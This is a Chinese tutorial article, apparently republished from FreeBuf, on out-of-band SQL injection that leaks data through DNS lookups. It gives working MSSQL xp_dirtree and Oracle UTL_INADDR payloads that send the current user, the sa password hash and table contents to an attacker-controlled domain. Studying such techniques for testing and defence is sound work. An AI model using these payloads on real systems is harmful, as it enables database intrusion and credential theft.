OOB(out of band)分析系列之DNS渗漏

前言

SQL注入作为最老的漏洞之一,它的价值随着整个web的发展从来没有过时,足以证明它的地位和价值。

我和很多人聊过这个漏洞,发现很多人对这个漏洞的了解只是拿sqlmap干,好一点的还会手注,懂原理。

但是它们本身只了解到了这个漏洞的实战效果和实战需要等等,并没有深入了解这个漏洞。但是这个漏洞本身基于数据库,而数据库是很灵活的,就会发展出很多邪道。笔者最近看了很多关于sql注入的文章,发现国外已经玩出玫瑰花来了,就打算写个系列总结一下。

这篇文章的面向对象不是新手,起码你要会sql的手注,知道sql注入的原理并且熟知各大数据库的函数和特性。因为这篇文章不会讲这些东西但是又基于这些东西,不会是很难看懂的。

我的QQ:1478023488

欢迎任何人找我讨论,但是拒绝闲聊和扯淡.

OOB

SQL注入类型细分,分为以下5种:

共计3大类:

这篇文章的主题是out of band,即OOB。

它与我们熟知的inband类的注入相反。inband是利用web应用来直接获取数据,比如Error-based SQL injection和Error-based SQL injection都是属于inband类,它们都是通过web的响应或者错误反馈来提取数据。

而inference则是通过web的一些反映来推断数据,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我们通俗的盲注,通过web应用的其他改变来推断数据。

(因为我喜欢php,所以用PDO作为基准,而PDO只会返回第一条SQL语句的执行结果, 所以一般不能直接拿到数据,一般都是通过update某个可见字段或者sleep注入,所以我归为inference类)

Method

requests

Time

Boolean-based blind

29,212

214.04

Time-based (1 sec)

32,716

17,720.51

Error-based

777

9.02

Union (full/partial)

3/136

0.70/2.50

DNS exfiltration

1,409

35.31

数据来源

我们的主角OOB则是通过其他传输方式来获得数据,比如利用我们等会要说到的DNS解析协议和电子邮件。当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。

利用DNS偷走数据

当说这个之前,你需要知道DNS的原理:

实际上复杂的多,是一个分级查询。先向根域名服务器查询顶级域名服务器,然后顶级域名服务器查询次级域名,这样一层层查询下来的。

作为攻击者,我们只能控制需要查询的域名和域名的NS服务器。域名的NS服务器可以在域名注册商那里修改,如何搭建NS服务器就不谈了。

以及还需要知道win对UNC(Universal-Naming-Convention)的内在支持,当我们尝试连接到一个UNC路径的时候,win会先查找目标域名的ip地址,用以建立连接。比如,给某个文件处理函数的文件路径是\\admin.xiaoze.com\tops\这种,那么win操作系统会在xiaoze.com的dns服务器上查找admin.xiaoze.com的域名的ip。所以我们可以通过监视dns服务器来捕获数据。

那么显然,利用dns偷数据的方法,除了大家熟知的mysql+win环境可以利用,只要是有能操控文件的函数且在win环境下运行的数据库都可以利用这种方法。

比如mssql的4个文件操作函数:

函数名

支持的数据库版本

需要的参数

xp_getfiledetails

Microsoft SQL Serves 2000

文件路径

xp_fileexist

全系列

文件路径

xp_dirtree

全系列

文件路径

xp_subdirs

全系列

文件路径

利用dns获得当前登陆的用户,可以使用:

declare @xiaoze char(128); set @xiaoze=’\‘+system_user+’.xiaoze.com.’; exec master..xp_dirtree @xiaoze

如果想获得sa账号的密码hash,可以使用:

declare @xiaoze varchar(128); select @host=”\‘+(select top 1 master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name=’sa’) +’.xiaoze.com.’; exec master..xp_dirtree @xiaoze;

因为在测试的时候发现直接使用字符串拼接会报错,所以我用了一个变量来保存路径。但是也有小伙伴测试发现直接拼接不会报错,具体情况大家自己搭建环境测试吧,我的环境是Microsoft SQL Serves 2000。

上面的语句通过文件操作函数触发了win的UNC,引发了一次DNS操作,在向我们的ns服务器查询子域名ip的时候就可以捕捉到数据。

同样,除了mssql和mysql可以利用dns偷数据,只要内置文件操作函数的数据库都可以利用。

比如Oracle,Oracle的利用比mssql简单很多。可以直接使用UTL_INADDR包(官方文档戳我),而且因为不依赖PL/SQL所以可以直接插入到子查询或者where之后。

在Oracle下想获得数据库登陆用户可以用:

select * from xiaoze where lmz=UTL_INADDR.GET_HOST_ADDRESS ((SELECT USER FROM DUAL)||’.xiaoze.com’

其他的比如MySQL和PostgreSQL也是一样的原理,我就不浪费篇幅了。

实际问题

这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。所以我上面的中间变量长度都是128。同时也不能出现非法字符,否则也会失败。

一般会把希望传递的数据转化成能被dns正确处理的格式,比如变成16进制。mssql内置了一个名为fn_varbintohexstr的函数,它接收一个字符串作为参数并返回这个字符串的16进制表示。比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))。这句sql语句执行的结果是0x73006100,也就是sa的unicode编码后的样子。

接下来就是长度问题,因为经过上面的16进制编码之后,128个字符的空间就显的太少了,很容易就超出。这样要么我们只能收到前128个字符,剩下的就被丢掉了,也可能干脆直接失败。128包括完整的整个请求,包括前面的\\和结尾的com.这点尤为注意。同时一个标识符占用128个字符是非法的,最多不能超过63个字符,比如com就是一个标签符,它占用3个字符。

具体的解释请打开《TCP/IP详解—卷1:协议》(机器工业出版社第一版)的第146页中间的图14-6那段。

为了能正常完整的偷取数据,我们需要对数据进行编码,并且不能超过63个字节。编码可以用fn_varbintohexstr函数解决。长度可以用substring函数截取控制长度。

完整且能保证稳定的利用语句:

declare @xiaoze char(128); select @xiaoze=’\‘+master.dbo.fn_varbintohexstr( CAST(SUBSTRING((SELECT TOP 1 CAST(XiaoZe AS char(255)) FROM LMZ),1,26) AS VARBINARY(255)))+’.XiaoZeLoveLMZ.com.’; EXEC master..xp_dirtree @xiaoze;

由于dns查询会先查看本地缓存,所以为了能成功发出查询,建议在请求中加入一些随机值,比如我在我自己写的工具里面,随机值是我老婆每个月的月经时间,每次向后推两天,幸好她的月经时间不固定,否则我只能随机她生气的时间了。比如她看到这段话的时候?

结语

实际上OOB的方法很多,但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣,我会全部写一遍的。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-07-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏企鹅号快讯

一次垃圾邮件的分析

本篇文章来自同事对一次垃圾邮件的分析: 上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味...

24370
来自专栏逸鹏说道

c# 温故而知新: 线程篇(一) 上

Thread 目录: 目录: 1 线程基础的简单介绍 2 线程同步与线程异步的简单介绍 3 前台线程与后台线程的简单介绍 4 细说下Thread 最为关键的构造...

27580
来自专栏尚国

深入剖析最新IE0day漏洞

在2018年4月下旬,我们使用沙箱发现了IE0day漏洞;自从在野外发现上一个样本(CVE-2016-0189)已经有两年多了。从许多方面来看,这个特别的漏洞及...

16420
来自专栏Python中文社区

用Python将word文件转换成html

序 最近公司一个客户大大购买了一堆医疗健康方面的科普文章,希望能放到我们正在开发的健康档案管理软件上。客户大大说,要智能推送!要掌握节奏!要深度学习!要让用户...

85570
来自专栏码匠的流水账

聊聊rest api设计

16710
来自专栏Android-JessYan

一行代码实现Okhttp,Retrofit,Glide下载上传进度监听

原文地址: http://www.jianshu.com/p/5832c776621f qq群:301733278

21820
来自专栏猿人谷

多核环境下cache line的测试

前阵子接触到一道关于数组内部链表(多用于内存池技术)的数据结构的题, 这种数据结构能够比普通链表在cache中更容易命中, 理由很简单, 就是因为其在地址上是连...

26790
来自专栏FreeBuf

Struts2再曝S2-020补丁绕过漏洞 – 万恶的正则表达式

4月24日,网络曝出文章“安全研究人员指出Apache Struts2在漏洞公告S2-020里,在处理修复CVE-2014-0094的漏洞修补方案存在漏洞,导致...

23660
来自专栏Venyo 的专栏

无需数据迁移的水平分库方案

在工作中,曾经做过一个项目,采用了哈希取模的方法进行水平分库,这种方法简单高效,但是在数据库规模有所变动的时候,需要做数据迁移。本文介绍一个自己拍脑袋想出来的一...

19120
来自专栏技术记录

java-FFmpeg(一) 实现视频的转码和截图功能

FFmpeg是一个开源免费跨平台的视频和音频流方案,属于自由软件,采用LGPL或GPL许可证(依据你选择的组件)。它提供了录制、转换以及流化音视频的完整解决方...

2K80

扫码关注云+社区

领取腾讯云代金券